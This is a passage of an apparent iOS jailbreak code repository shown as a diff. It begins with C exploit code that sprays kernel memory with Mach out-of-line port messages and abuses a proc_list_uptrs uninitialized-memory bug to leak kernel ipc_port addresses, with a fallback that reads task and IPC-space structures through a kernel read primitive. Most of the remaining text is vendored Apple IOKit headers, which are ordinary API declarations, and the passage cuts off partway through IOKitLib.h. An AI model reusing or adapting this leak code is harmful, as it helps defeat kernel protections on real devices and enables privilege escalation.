int err = kevent_id(id, events_id, 1, NULL, 0, NULL, NULL,
KEVENT_FLAG_WORKLOOP | KEVENT_FLAG_IMMEDIATE);
if (err != 0) {
LOG("failed to enqueue user event");
exit(EXIT_FAILURE);
}
events_id[0].ident++;
}
}
int kqueues_allocated = 0;
static void prepare_kqueue()
{
// ensure there are a large number of events so that kevent_proc_copy_uptrs
// always returns a large number
if (kqueues_allocated) {
return;
}
fill_events(10000);
LOG("prepared kqueue");
kqueues_allocated = 1;
}
// will make a kalloc allocation of (count*8)+7
// and only write to the first (count*8) bytes.
// the return value is those last 7 bytes uninitialized bytes as a uint64_t
// (the upper byte will be set to 0)
static uint64_t try_leak(int count)
{
int buf_size = (count * 8) + 7;
char* buf = calloc(buf_size + 1, 1);
int err = proc_list_uptrs(getpid(), (void*)buf, buf_size);
if (err == -1) {
return 0;
}
// the last 7 bytes will contain the leaked data:
uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc
return last_val;
}
struct ool_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
};
// fills a kalloc allocation with count times of target_port's struct ipc_port pointer
// To cause the kalloc allocation to be free'd mach_port_destroy the returned receive right
static mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition)
{
// allocate a port to send the message to
mach_port_t q = MACH_PORT_NULL;
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
if (err != KERN_SUCCESS) {
LOG("failed to allocate port");
exit(EXIT_FAILURE);
}
mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
for (int i = 0; i < count; i++) {
ports[i] = target_port;
}
struct ool_msg* msg = calloc(1, sizeof(struct ool_msg));
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
msg->hdr.msgh_remote_port = q;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_id = 0x41414141;
msg->body.msgh_descriptor_count = 1;
msg->ool_ports.address = ports;
msg->ool_ports.count = count;
msg->ool_ports.deallocate = 0;
msg->ool_ports.disposition = disposition;
msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
err = mach_msg(&msg->hdr,
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
(mach_msg_size_t)sizeof(struct ool_msg),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
LOG("failed to send message: %s", mach_error_string(err));
exit(EXIT_FAILURE);
}
return q;
}
static int uint64_t_compare(const void* a, const void* b)
{
uint64_t a_val = (*(uint64_t*)a);
uint64_t b_val = (*(uint64_t*)b);
if (a_val < b_val) {
return -1;
}
if (a_val == b_val) {
return 0;
}
return 1;
}
uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition)
{
prepare_kqueue();
int n_guesses = 100;
uint64_t* guesses = calloc(1, n_guesses * sizeof(uint64_t));
int valid_guesses = 0;
for (int i = 1; i < n_guesses + 1; i++) {
mach_port_t q = fill_kalloc_with_port_pointer(port, i, disposition);
mach_port_destroy(mach_task_self(), q);
uint64_t leaked = try_leak(i - 1);
//LOG("leaked %016llx", leaked);
// a valid guess is one which looks a bit like a kernel heap pointer
// without the upper byte:
if ((leaked < 0x00ffffff00000000) && (leaked > 0x00ffff0000000000)) {
guesses[valid_guesses++] = leaked | 0xff00000000000000;
}
}
if (valid_guesses == 0) {
LOG("couldn't leak any kernel pointers");
exit(EXIT_FAILURE);
}
// return the most frequent guess
qsort(guesses, valid_guesses, sizeof(uint64_t), uint64_t_compare);
uint64_t best_guess = guesses[0];
int best_guess_count = 1;
uint64_t current_guess = guesses[0];
int current_guess_count = 1;
for (int i = 1; i < valid_guesses; i++) {
if (guesses[i] == guesses[i - 1]) {
current_guess_count++;
if (current_guess_count > best_guess_count) {
best_guess = current_guess;
best_guess_count = current_guess_count;
}
} else {
current_guess = guesses[i];
current_guess_count = 1;
}
}
//LOG("best guess is: 0x%016llx with %d%% of the valid guesses for it", best_guess, (best_guess_count*100)/valid_guesses);
free(guesses);
return best_guess;
}
uint64_t find_port_via_kmem_read(mach_port_name_t port)
{
uint64_t task_port_addr = task_self_addr();
uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
uint32_t port_index = port >> 8;
const int sizeof_ipc_entry_t = 0x18;
uint64_t port_addr = ReadKernel64(is_table + (port_index * sizeof_ipc_entry_t));
return port_addr;
}
uint64_t find_port_address(mach_port_t port, int disposition)
{
if (have_kmem_read()) {
return find_port_via_kmem_read(port);
}
return find_port_via_proc_pidlistuptrs_bug(port, disposition);
}
+9
View File
@@ -0,0 +1,9 @@
#ifndef find_port_h
#define find_port_h
#include <mach/mach.h>
uint64_t find_port_address(mach_port_t port, int disposition);
uint64_t find_port_via_kmem_read(mach_port_name_t port);
#endif /* find_port_h */
@@ -0,0 +1,169 @@
/*
* Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
*
* This file contains Original Code and/or Modifications of Original Code
* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. The rights granted to you under the License
* may not be used to create, or enable the creation or redistribution of,
* unlawful or unlicensed copies of an Apple operating system, or to
* circumvent, violate, or enable the circumvention or violation of, any
* terms of an Apple operating system software license agreement.
*
* Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
*/
/*
* Copyright (c) 1999 Apple Computer, Inc. All rights reserved.
*
* Common symbol definitions for IOKit.
*
* HISTORY
*
*/
#ifndef _IOKIT_IOKITKEYS_H
#define _IOKIT_IOKITKEYS_H
// properties found in the registry root
#define kIOKitBuildVersionKey "IOKitBuildVersion"
#define kIOKitDiagnosticsKey "IOKitDiagnostics"
// a dictionary keyed by plane name
#define kIORegistryPlanesKey "IORegistryPlanes"
#define kIOCatalogueKey "IOCatalogue"
// registry plane names
#define kIOServicePlane "IOService"
#define kIOPowerPlane "IOPower"
#define kIODeviceTreePlane "IODeviceTree"
#define kIOAudioPlane "IOAudio"
#define kIOFireWirePlane "IOFireWire"
#define kIOUSBPlane "IOUSB"
// registry ID number
#define kIORegistryEntryIDKey "IORegistryEntryID"
// IOService class name
#define kIOServiceClass "IOService"
// IOResources class name
#define kIOResourcesClass "IOResources"
// IOService driver probing property names
#define kIOClassKey "IOClass"
#define kIOProbeScoreKey "IOProbeScore"
#define kIOKitDebugKey "IOKitDebug"
// IOService matching property names
#define kIOProviderClassKey "IOProviderClass"
#define kIONameMatchKey "IONameMatch"
#define kIOPropertyMatchKey "IOPropertyMatch"
#define kIOPathMatchKey "IOPathMatch"
#define kIOLocationMatchKey "IOLocationMatch"
#define kIOParentMatchKey "IOParentMatch"
#define kIOResourceMatchKey "IOResourceMatch"
#define kIOMatchedServiceCountKey "IOMatchedServiceCountMatch"
#define kIONameMatchedKey "IONameMatched"
#define kIOMatchCategoryKey "IOMatchCategory"
#define kIODefaultMatchCategoryKey "IODefaultMatchCategory"
// IOService default user client class, for loadable user clients
#define kIOUserClientClassKey "IOUserClientClass"
// key to find IOMappers
#define kIOMapperIDKey "IOMapperID"
#define kIOUserClientCrossEndianKey "IOUserClientCrossEndian"
#define kIOUserClientCrossEndianCompatibleKey "IOUserClientCrossEndianCompatible"
#define kIOUserClientSharedInstanceKey "IOUserClientSharedInstance"
// diagnostic string describing the creating task
#define kIOUserClientCreatorKey "IOUserClientCreator"
// IOService notification types
#define kIOPublishNotification "IOServicePublish"
#define kIOFirstPublishNotification "IOServiceFirstPublish"
#define kIOMatchedNotification "IOServiceMatched"
#define kIOFirstMatchNotification "IOServiceFirstMatch"
#define kIOTerminatedNotification "IOServiceTerminate"
// IOService interest notification types
#define kIOGeneralInterest "IOGeneralInterest"
#define kIOBusyInterest "IOBusyInterest"
#define kIOAppPowerStateInterest "IOAppPowerStateInterest"
#define kIOPriorityPowerStateInterest "IOPriorityPowerStateInterest"
#define kIOPlatformDeviceMessageKey "IOPlatformDeviceMessage"
// IOService interest notification types
#define kIOCFPlugInTypesKey "IOCFPlugInTypes"
// properties found in services that implement command pooling
#define kIOCommandPoolSizeKey "IOCommandPoolSize" // (OSNumber)
// properties found in services that implement priority
#define kIOMaximumPriorityCountKey "IOMaximumPriorityCount" // (OSNumber)
// properties found in services that have transfer constraints
#define kIOMaximumBlockCountReadKey "IOMaximumBlockCountRead" // (OSNumber)
#define kIOMaximumBlockCountWriteKey "IOMaximumBlockCountWrite" // (OSNumber)
#define kIOMaximumByteCountReadKey "IOMaximumByteCountRead" // (OSNumber)
#define kIOMaximumByteCountWriteKey "IOMaximumByteCountWrite" // (OSNumber)
#define kIOMaximumSegmentCountReadKey "IOMaximumSegmentCountRead" // (OSNumber)
#define kIOMaximumSegmentCountWriteKey "IOMaximumSegmentCountWrite" // (OSNumber)
#define kIOMaximumSegmentByteCountReadKey "IOMaximumSegmentByteCountRead" // (OSNumber)
#define kIOMaximumSegmentByteCountWriteKey "IOMaximumSegmentByteCountWrite" // (OSNumber)
#define kIOMinimumSegmentAlignmentByteCountKey "IOMinimumSegmentAlignmentByteCount" // (OSNumber)
#define kIOMaximumSegmentAddressableBitCountKey "IOMaximumSegmentAddressableBitCount" // (OSNumber)
// properties found in services that wish to describe an icon
//
// IOIcon =
// {
// CFBundleIdentifier = "com.example.driver.example";
// IOBundleResourceFile = "example.icns";
// };
//
// where IOBundleResourceFile is the filename of the resource
#define kIOIconKey "IOIcon" // (OSDictionary)
#define kIOBundleResourceFileKey "IOBundleResourceFile" // (OSString)
#define kIOBusBadgeKey "IOBusBadge" // (OSDictionary)
#define kIODeviceIconKey "IODeviceIcon" // (OSDictionary)
// property of root that describes the machine's serial number as a string
#define kIOPlatformSerialNumberKey "IOPlatformSerialNumber" // (OSString)
// property of root that describes the machine's UUID as a string
#define kIOPlatformUUIDKey "IOPlatformUUID" // (OSString)
// IODTNVRAM property keys
#define kIONVRAMDeletePropertyKey "IONVRAM-DELETE-PROPERTY"
#define kIONVRAMSyncNowPropertyKey "IONVRAM-SYNCNOW-PROPERTY"
#define kIONVRAMActivateCSRConfigPropertyKey "IONVRAM-ARMCSR-PROPERTY"
#define kIODTNVRAMPanicInfoKey "aapl,panic-info"
// keys for complex boot information
#define kIOBootDeviceKey "IOBootDevice" // dict | array of dicts
#define kIOBootDevicePathKey "IOBootDevicePath" // arch-neutral OSString
#define kIOBootDeviceSizeKey "IOBootDeviceSize" // OSNumber of bytes
// keys for OS Version information
#define kOSBuildVersionKey "OS Build Version"
#endif /* ! _IOKIT_IOKITKEYS_H */
@@ -0,0 +1,1584 @@
/*
* Copyright (c) 1998-2014 Apple Computer, Inc. All rights reserved.
*
* @APPLE_LICENSE_HEADER_START@
*
* This file contains Original Code and/or Modifications of Original Code
* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this
* file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_LICENSE_HEADER_END@
*/
/*
* HISTORY
*
*/
/*
* IOKit user library
*/
#ifndef _IOKIT_IOKITLIB_H
#define _IOKIT_IOKITLIB_H
#ifdef KERNEL
#error This file is not for kernel use
#endif
#include <sys/cdefs.h>
#include <sys/types.h>
#include <mach/mach_types.h>
#include <mach/mach_init.h>
#include <CoreFoundation/CFBase.h>
#include <CoreFoundation/CFDictionary.h>
#include <CoreFoundation/CFRunLoop.h>
#include <IOKit/IOTypes.h>
#include <IOKit/IOKitKeys.h>
#include <IOKit/OSMessageNotification.h>
#include <AvailabilityMacros.h>
#include <dispatch/dispatch.h>
__BEGIN_DECLS
/*! @header IOKitLib
IOKitLib implements non-kernel task access to common IOKit object types - IORegistryEntry, IOService, IOIterator etc. These functions are generic - families may provide API that is more specific.<br>
IOKitLib represents IOKit objects outside the kernel with the types io_object_t, io_registry_entry_t, io_service_t, & io_connect_t. Function names usually begin with the type of object they are compatible with - eg. IOObjectRelease can be used with any io_object_t. Inside the kernel, the c++ class hierarchy allows the subclasses of each object type to receive the same requests from user level clients, for example in the kernel, IOService is a subclass of IORegistryEntry, which means any of the IORegistryEntryXXX functions in IOKitLib may be used with io_service_t's as well as io_registry_t's. There are functions available to introspect the class of the kernel object which any io_object_t et al. represents.
IOKit objects returned by all functions should be released with IOObjectRelease.
*/
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
typedef struct IONotificationPort * IONotificationPortRef;
/*! @typedef IOServiceMatchingCallback
@abstract Callback function to be notified of IOService publication.
@param refcon The refcon passed when the notification was installed.
@param iterator The notification iterator which now has new objects.
*/
typedef void
(*IOServiceMatchingCallback)(
void * refcon,
io_iterator_t iterator );
/*! @typedef IOServiceInterestCallback
@abstract Callback function to be notified of changes in state of an IOService.
@param refcon The refcon passed when the notification was installed.
@param service The IOService whose state has changed.
@param messageType A messageType enum, defined by IOKit/IOMessage.h or by the IOService's family.
@param messageArgument An argument for the message, dependent on the messageType. If the message data is larger than sizeof(void*), then messageArgument contains a pointer to the message data; otherwise, messageArgument contains the message data.
*/
typedef void
(*IOServiceInterestCallback)(
void * refcon,
io_service_t service,
uint32_t messageType,
void * messageArgument );
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*! @const kIOMasterPortDefault
@abstract The default mach port used to initiate communication with IOKit.
@discussion When specifying a master port to IOKit functions, the NULL argument indicates "use the default". This is a synonym for NULL, if you'd rather use a named constant.
*/
extern
const mach_port_t kIOMasterPortDefault;
/*! @function IOMasterPort
@abstract Returns the mach port used to initiate communication with IOKit.
@discussion Functions that don't specify an existing object require the IOKit master port to be passed. This function obtains that port.
@param bootstrapPort Pass MACH_PORT_NULL for the default.
@param masterPort The master port is returned.
@result A kern_return_t error code. */
kern_return_t
IOMasterPort( mach_port_t bootstrapPort,
mach_port_t * masterPort );
/*! @function IONotificationPortCreate
@abstract Creates and returns a notification object for receiving IOKit notifications of new devices or state changes.
@discussion Creates the notification object to receive notifications from IOKit of new device arrivals or state changes. The notification object can be supply a CFRunLoopSource, or mach_port_t to be used to listen for events.
@param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
@result A reference to the notification object. */
IONotificationPortRef
IONotificationPortCreate(
mach_port_t masterPort );
/*! @function IONotificationPortDestroy
@abstract Destroys a notification object created with IONotificationPortCreate.
Also destroys any mach_port's or CFRunLoopSources obatined from
<code>@link IONotificationPortGetRunLoopSource @/link</code>
or <code>@link IONotificationPortGetMachPort @/link</code>
@param notify A reference to the notification object. */
void
IONotificationPortDestroy(
IONotificationPortRef notify );
/*! @function IONotificationPortGetRunLoopSource
@abstract Returns a CFRunLoopSource to be used to listen for notifications.
@discussion A notification object may deliver notifications to a CFRunLoop
by adding the run loop source returned by this function to the run loop.
The caller should not release this CFRunLoopSource. Just call
<code>@link IONotificationPortDestroy @/link</code> to dispose of the
IONotificationPortRef and the CFRunLoopSource when done.
@param notify The notification object.
@result A CFRunLoopSourceRef for the notification object. */
CFRunLoopSourceRef
IONotificationPortGetRunLoopSource(
IONotificationPortRef notify );
/*! @function IONotificationPortGetMachPort
@abstract Returns a mach_port to be used to listen for notifications.
@discussion A notification object may deliver notifications to a mach messaging client
if they listen for messages on the port obtained from this function.
Callbacks associated with the notifications may be delivered by calling
IODispatchCalloutFromMessage with messages received.
The caller should not release this mach_port_t. Just call
<code>@link IONotificationPortDestroy @/link</code> to dispose of the
mach_port_t and IONotificationPortRef when done.
@param notify The notification object.
@result A mach_port for the notification object. */
mach_port_t
IONotificationPortGetMachPort(
IONotificationPortRef notify );
/*! @function IONotificationPortSetDispatchQueue
@abstract Sets a dispatch queue to be used to listen for notifications.
@discussion A notification object may deliver notifications to a dispatch client.
@param notify The notification object.
@param queue A dispatch queue. */
void
IONotificationPortSetDispatchQueue(
IONotificationPortRef notify, dispatch_queue_t queue )
__OSX_AVAILABLE_STARTING(__MAC_10_6, __IPHONE_4_3);
/*! @function IODispatchCalloutFromMessage
@abstract Dispatches callback notifications from a mach message.
@discussion A notification object may deliver notifications to a mach messaging client,
which should call this function to generate the callbacks associated with the notifications arriving on the port.
@param unused Not used, set to zero.
@param msg A pointer to the message received.
@param reference Pass the IONotificationPortRef for the object. */
void
IODispatchCalloutFromMessage(
void *unused,
mach_msg_header_t *msg,
void *reference );
/*! @function IOCreateReceivePort
@abstract Creates and returns a mach port suitable for receiving IOKit messages of the specified type.
@discussion In the future IOKit may use specialized messages and ports
instead of the standard ports created by mach_port_allocate(). Use this
function instead of mach_port_allocate() to ensure compatibility with future
revisions of IOKit.
@param msgType Type of message to be sent to this port
(kOSNotificationMessageID or kOSAsyncCompleteMessageID)
@param recvPort The created port is returned.
@result A kern_return_t error code. */
kern_return_t
IOCreateReceivePort( uint32_t msgType, mach_port_t * recvPort );
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
* IOObject
*/
/*! @function IOObjectRelease
@abstract Releases an object handle previously returned by IOKitLib.
@discussion All objects returned by IOKitLib should be released with this function when access to them is no longer needed. Using the object after it has been released may or may not return an error, depending on how many references the task has to the same object in the kernel.
@param object The IOKit object to release.
@result A kern_return_t error code. */
kern_return_t
IOObjectRelease(
io_object_t object );
/*! @function IOObjectRetain
@abstract Retains an object handle previously returned by IOKitLib.
@discussion Gives the caller an additional reference to an existing object handle previously returned by IOKitLib.
@param object The IOKit object to retain.
@result A kern_return_t error code. */
kern_return_t
IOObjectRetain(
io_object_t object );
/*! @function IOObjectGetClass
@abstract Return the class name of an IOKit object.
@discussion This function uses the OSMetaClass system in the kernel to derive the name of the class the object is an instance of.
@param object The IOKit object.
@param className Caller allocated buffer to receive the name string.
@result A kern_return_t error code. */
kern_return_t
IOObjectGetClass(
io_object_t object,
io_name_t className );
/*! @function IOObjectCopyClass
@abstract Return the class name of an IOKit object.
@discussion This function does the same thing as IOObjectGetClass, but returns the result as a CFStringRef.
@param object The IOKit object.
@result The resulting CFStringRef. This should be released by the caller. If a valid object is not passed in, then NULL is returned.*/
CFStringRef
IOObjectCopyClass(io_object_t object)
AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER;
/*! @function IOObjectCopySuperclassForClass
@abstract Return the superclass name of the given class.
@discussion This function uses the OSMetaClass system in the kernel to derive the name of the superclass of the class.
@param classname The name of the class as a CFString.
@result The resulting CFStringRef. This should be released by the caller. If there is no superclass, or a valid class name is not passed in, then NULL is returned.*/
CFStringRef
IOObjectCopySuperclassForClass(CFStringRef classname)
AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER;
/*! @function IOObjectCopyBundleIdentifierForClass
@abstract Return the bundle identifier of the given class.
@discussion This function uses the OSMetaClass system in the kernel to derive the name of the kmod, which is the same as the bundle identifier.
@param classname The name of the class as a CFString.
@result The resulting CFStringRef. This should be released by the caller. If a valid class name is not passed in, then NULL is returned.*/
CFStringRef
IOObjectCopyBundleIdentifierForClass(CFStringRef classname)
AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER;
/*! @function IOObjectConformsTo
@abstract Performs an OSDynamicCast operation on an IOKit object.
@discussion This function uses the OSMetaClass system in the kernel to determine if the object will dynamic cast to a class, specified as a C-string. In other words, if the object is of that class or a subclass.
@param object An IOKit object.
@param className The name of the class, as a C-string.
@result If the object handle is valid, and represents an object in the kernel that dynamic casts to the class true is returned, otherwise false. */
boolean_t
IOObjectConformsTo(
io_object_t object,
const io_name_t className );
/*! @function IOObjectIsEqualTo
@abstract Checks two object handles to see if they represent the same kernel object.
@discussion If two object handles are returned by IOKitLib functions, this function will compare them to see if they represent the same kernel object.
@param object An IOKit object.
@param anObject Another IOKit object.
@result If both object handles are valid, and represent the same object in the kernel true is returned, otherwise false. */
boolean_t
IOObjectIsEqualTo(
io_object_t object,
io_object_t anObject );
/*! @function IOObjectGetKernelRetainCount
@abstract Returns kernel retain count of an IOKit object.
@discussion This function may be used in diagnostics to determine the current retain count of the kernel object at the kernel level.
@param object An IOKit object.
@result If the object handle is valid, the kernel objects retain count is returned, otherwise zero is returned. */
uint32_t
IOObjectGetKernelRetainCount(
io_object_t object )
AVAILABLE_MAC_OS_X_VERSION_10_6_AND_LATER;
/*! @function IOObjectGetUserRetainCount
@abstract Returns the retain count for the current process of an IOKit object.
@discussion This function may be used in diagnostics to determine the current retain count for the calling process of the kernel object.
@param object An IOKit object.
@result If the object handle is valid, the objects user retain count is returned, otherwise zero is returned. */
uint32_t
IOObjectGetUserRetainCount(
io_object_t object )
AVAILABLE_MAC_OS_X_VERSION_10_6_AND_LATER;
/*! @function IOObjectGetRetainCount
@abstract Returns kernel retain count of an IOKit object. Identical to IOObjectGetKernelRetainCount() but available prior to Mac OS 10.6.
@discussion This function may be used in diagnostics to determine the current retain count of the kernel object at the kernel level.
@param object An IOKit object.
@result If the object handle is valid, the kernel objects retain count is returned, otherwise zero is returned. */
uint32_t
IOObjectGetRetainCount(
io_object_t object );
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
* IOIterator, subclass of IOObject
*/
/*! @function IOIteratorNext
@abstract Returns the next object in an iteration.
@discussion This function returns the next object in an iteration, or zero if no more remain or the iterator is invalid.
@param iterator An IOKit iterator handle.
@result If the iterator handle is valid, the next element in the iteration is returned, otherwise zero is returned. The element should be released by the caller when it is finished. */
io_object_t
IOIteratorNext(
io_iterator_t iterator );
/*! @function IOIteratorReset
@abstract Resets an iteration back to the beginning.
@discussion If an iterator is invalid, or if the caller wants to start over, IOIteratorReset will set the iteration back to the beginning.
@param iterator An IOKit iterator handle. */
void
IOIteratorReset(
io_iterator_t iterator );
/*! @function IOIteratorIsValid
@abstract Checks an iterator is still valid.
@discussion Some iterators will be made invalid if changes are made to the structure they are iterating over. This function checks the iterator is still valid and should be called when IOIteratorNext returns zero. An invalid iterator can be reset and the iteration restarted.
@param iterator An IOKit iterator handle.
@result True if the iterator handle is valid, otherwise false is returned. */
boolean_t
IOIteratorIsValid(
io_iterator_t iterator );
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
* IOService, subclass of IORegistryEntry
*/
/*!
@function IOServiceGetMatchingService
@abstract Look up a registered IOService object that matches a matching dictionary.
@discussion This is the preferred method of finding IOService objects currently registered by IOKit (that is, objects that have had their registerService() methods invoked). To find IOService objects that aren't yet registered, use an iterator as created by IORegistryEntryCreateIterator(). IOServiceAddMatchingNotification can also supply this information and install a notification of new IOServices. The matching information used in the matching dictionary may vary depending on the class of service being looked up.
@param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
@param matching A CF dictionary containing matching information, of which one reference is always consumed by this function (Note prior to the Tiger release there was a small chance that the dictionary might not be released if there was an error attempting to serialize the dictionary). IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching.
@result The first service matched is returned on success. The service must be released by the caller.
*/
io_service_t
IOServiceGetMatchingService(
mach_port_t masterPort,
CFDictionaryRef matching CF_RELEASES_ARGUMENT);
/*! @function IOServiceGetMatchingServices
@abstract Look up registered IOService objects that match a matching dictionary.
@discussion This is the preferred method of finding IOService objects currently registered by IOKit (that is, objects that have had their registerService() methods invoked). To find IOService objects that aren't yet registered, use an iterator as created by IORegistryEntryCreateIterator(). IOServiceAddMatchingNotification can also supply this information and install a notification of new IOServices. The matching information used in the matching dictionary may vary depending on the class of service being looked up.
@param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
@param matching A CF dictionary containing matching information, of which one reference is always consumed by this function (Note prior to the Tiger release there was a small chance that the dictionary might not be released if there was an error attempting to serialize the dictionary). IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching.
@param existing An iterator handle is returned on success, and should be released by the caller when the iteration is finished.
@result A kern_return_t error code. */
kern_return_t
IOServiceGetMatchingServices(
mach_port_t masterPort,
CFDictionaryRef matching CF_RELEASES_ARGUMENT,
io_iterator_t * existing );
kern_return_t
IOServiceAddNotification(
mach_port_t masterPort,
const io_name_t notificationType,
CFDictionaryRef matching,
mach_port_t wakePort,
uintptr_t reference,
io_iterator_t * notification ) DEPRECATED_ATTRIBUTE;
/*! @function IOServiceAddMatchingNotification
@abstract Look up registered IOService objects that match a matching dictionary, and install a notification request of new IOServices that match.
@discussion This is the preferred method of finding IOService objects that may arrive at any time. The type of notification specifies the state change the caller is interested in, on IOService's that match the match dictionary. Notification types are identified by name, and are defined in IOKitKeys.h. The matching information used in the matching dictionary may vary depending on the class of service being looked up.
@param notifyPort A IONotificationPortRef object that controls how messages will be sent when the armed notification is fired. When the notification is delivered, the io_iterator_t representing the notification should be iterated through to pick up all outstanding objects. When the iteration is finished the notification is rearmed. See IONotificationPortCreate.
@param notificationType A notification type from IOKitKeys.h
<br> kIOPublishNotification Delivered when an IOService is registered.
<br> kIOFirstPublishNotification Delivered when an IOService is registered, but only once per IOService instance. Some IOService's may be reregistered when their state is changed.
<br> kIOMatchedNotification Delivered when an IOService has had all matching drivers in the kernel probed and started.
<br> kIOFirstMatchNotification Delivered when an IOService has had all matching drivers in the kernel probed and started, but only once per IOService instance. Some IOService's may be reregistered when their state is changed.
<br> kIOTerminatedNotification Delivered after an IOService has been terminated.
@param matching A CF dictionary containing matching information, of which one reference is always consumed by this function (Note prior to the Tiger release there was a small chance that the dictionary might not be released if there was an error attempting to serialize the dictionary). IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching.
@param callback A callback function called when the notification fires.
@param refCon A reference constant for the callbacks use.
@param notification An iterator handle is returned on success, and should be released by the caller when the notification is to be destroyed. The notification is armed when the iterator is emptied by calls to IOIteratorNext - when no more objects are returned, the notification is armed. Note the notification is not armed when first created.
@result A kern_return_t error code. */
kern_return_t
IOServiceAddMatchingNotification(
IONotificationPortRef notifyPort,
const io_name_t notificationType,
CFDictionaryRef matching CF_RELEASES_ARGUMENT,
IOServiceMatchingCallback callback,
void * refCon,
io_iterator_t * notification );
/*! @function IOServiceAddInterestNotification
@abstract Register for notification of state changes in an IOService.
@discussion IOService objects deliver notifications of their state changes to their clients via the IOService::messageClients API, and to other interested parties including callers of this function. Message types are defined IOKit/IOMessage.h.
@param notifyPort A IONotificationPortRef object that controls how messages will be sent when the notification is fired. See IONotificationPortCreate.
@param interestType A notification type from IOKitKeys.h
<br> kIOGeneralInterest General state changes delivered via the IOService::messageClients API.
<br> kIOBusyInterest Delivered when the IOService changes its busy state to or from zero. The message argument contains the new busy state causing the notification.
@param callback A callback function called when the notification fires, with messageType and messageArgument for the state change.
@param refCon A reference constant for the callbacks use.
@param notification An object handle is returned on success, and should be released by the caller when the notification is to be destroyed.
@result A kern_return_t error code. */
kern_return_t
IOServiceAddInterestNotification(
IONotificationPortRef notifyPort,
io_service_t service,
const io_name_t interestType,
IOServiceInterestCallback callback,
void * refCon,
io_object_t * notification );
/*! @function IOServiceMatchPropertyTable
@abstract Match an IOService objects with matching dictionary.
@discussion This function calls the matching method of an IOService object and returns the boolean result.
@param service The IOService object to match.
@param matching A CF dictionary containing matching information. IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching.
@param matches The boolean result is returned.
@result A kern_return_t error code. */
kern_return_t
IOServiceMatchPropertyTable(
io_service_t service,
CFDictionaryRef matching,
boolean_t * matches );
/*! @function IOServiceGetBusyState
@abstract Returns the busyState of an IOService.
@discussion Many activities in IOService are asynchronous. When registration, matching, or termination is in progress on an IOService, its busyState is increased by one. Change in busyState to or from zero also changes the IOService's provider's busyState by one, which means that an IOService is marked busy when any of the above activities is ocurring on it or any of its clients.
@param service The IOService whose busyState to return.
@param busyState The busyState count is returned.
@result A kern_return_t error code. */
kern_return_t
IOServiceGetBusyState(
io_service_t service,
uint32_t * busyState );
/*! @function IOServiceWaitQuiet
@abstract Wait for an IOService's busyState to be zero.
@discussion Blocks the caller until an IOService is non busy, see IOServiceGetBusyState.
@param service The IOService wait on.
@param waitTime Specifies a maximum time to wait.
